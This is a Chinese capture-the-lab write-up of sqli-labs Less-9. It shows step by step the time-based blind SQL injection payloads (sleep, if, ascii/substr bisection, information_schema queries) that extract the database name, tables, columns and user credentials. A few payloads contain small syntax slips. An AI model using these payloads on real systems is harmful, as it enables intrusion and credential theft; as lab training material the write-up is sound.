sqli-labs Less-9 时间盲注

会使用到的函数补充:

if(condition,A,B)如果条件condition为true,则执行语句A,否则执行语句B

eg.select if(1>2,3,4); 返回的结果为4(若是在MySQL命令行中使用,应先use xxx数据库)

sqli-labs Less-9 时间盲注_第1张图片

可组合使用(当前数据库为security)

sqli-labs Less-9 时间盲注_第2张图片

下面开始做题:

1、判断闭合

输入?id=1,id=1'均没有报错,多次尝试后发现无论输入什么id值都不会报错,无法使用布尔盲注进行做题,我们可以使用时间盲注 根据是否延迟执行进行语句正误的判断

sqli-labs Less-9 时间盲注_第3张图片

输入?id=1' and sleep(5)--+  看到页面过了5秒才执行出现回显,说明sleep函数成功执行,且为单引号闭合 

sqli-labs Less-9 时间盲注_第4张图片

2、猜测数据库名长度

输入?id=1' and if(length(database())=8,1,sleep(5))--+     (红色数字可变,为猜测数据库名长度部分)发现立马出现了回显,说明当前数据库长度为8

3、猜测数据库名

?id=1' and if(ascii(substr((select database()),1,1))>100,1,sleep(5))--+  

立马出现了回显,说明当前数据库的第一个字母的ascii值大于100(红色数字可变,为猜测数据库名长度部分,黄色部分表示对第一位字母进行猜测,可变)

?id=1' and if(ascii(substr((select database()),1,1))>120,1,sleep(5))--+ 

五秒后才出现回显,说明说明当前数据库的第一个字母的ascii值小于120

通过二分法进行尝试可知当前数据库的第一个字母的ascii值为115,即s

依此类推可猜出剩下7位字母,得到数据库名为security

4、猜测表名长度

?id=1' and if(length(select table_name from information_schema.tables where table_schema = database() limit x,1)<y,1,sleep(5))--+  

同理可以确定所有表名的长度

5、猜测当前数据库的表名

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5))--+ 

立即得到回显,得到表名第一个字母为e,依此类推可得表名email

同理可得所有表名emails,referers,uagents,users(红色部分猜测表名第一个字母的ascii值,为可变参数,黄色部分表示从第一张表开始查)

6、猜测列名

?id=1' and if(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

立刻得到回显

可得所有列名为id,username,password

7、猜测字段内容
?id=1' and if(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))--+
可得username 第一行的第一位

以此类推,得到 username,password 字段的所有内容。

第十关为双引号闭合,其余步骤与第九关相同。
 

你可能感兴趣的:(web,mysql)